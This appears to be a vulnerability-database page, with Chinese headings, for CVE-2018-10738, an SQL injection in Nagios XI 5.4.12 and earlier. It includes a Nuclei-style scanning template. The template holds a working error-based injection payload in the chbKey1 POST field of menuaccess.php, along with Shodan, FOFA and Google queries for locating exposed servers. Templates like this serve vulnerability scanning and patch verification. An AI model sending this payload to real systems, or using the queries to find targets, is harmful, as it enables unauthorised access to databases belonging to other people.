CVE-2018-10738: NagiosXI <= 5.4.12 menuaccess.php - SQL injection

日期: 2025-08-01 | 影响软件: NagiosXI | POC: 已公开

漏洞描述

A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/menuaccess.php chbKey1 parameter.

PoC代码[已公开]

id: CVE-2018-10738

info:
  name: NagiosXI <= 5.4.12 menuaccess.php - SQL injection
  author: DhiyaneshDk
  severity: high
  description: |
    A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/menuaccess.php chbKey1 parameter.
  reference:
    - https://qkl.seebug.org/vuldb/ssvid-97268
    - https://vuldb.com/de/?id.117807
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2018-10738
    cwe-id: CWE-89
    epss-score: 0.83567
    epss-percentile: 0.99245
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nagios
    product: nagios_xi
    shodan-query: http.title:"nagios xi"
    fofa-query:
      - app="Nagios-XI"
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve,cve2018,nagios,sqli
variables:
  num: "{{rand_int(2000000000, 2100000000)}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/nagiosql/admin/menuaccess.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "selSubMenu=1&subSave=1&chbKey1=-1%' and (select 1 from(select count(*),concat((select (select (select md5({{num}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#"

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"
# digest: 4b0a00483046022100d4259fcd2f6c070af05e8cd29618eec2cb34dca8f5cda0cabbfc51e64a4a3be6022100f3c707782853f0ab351b45ce89a0085c77adac4a29e0272d22dea659a48d1597:922c64590222798bb761d5b6d8e72950

相关漏洞推荐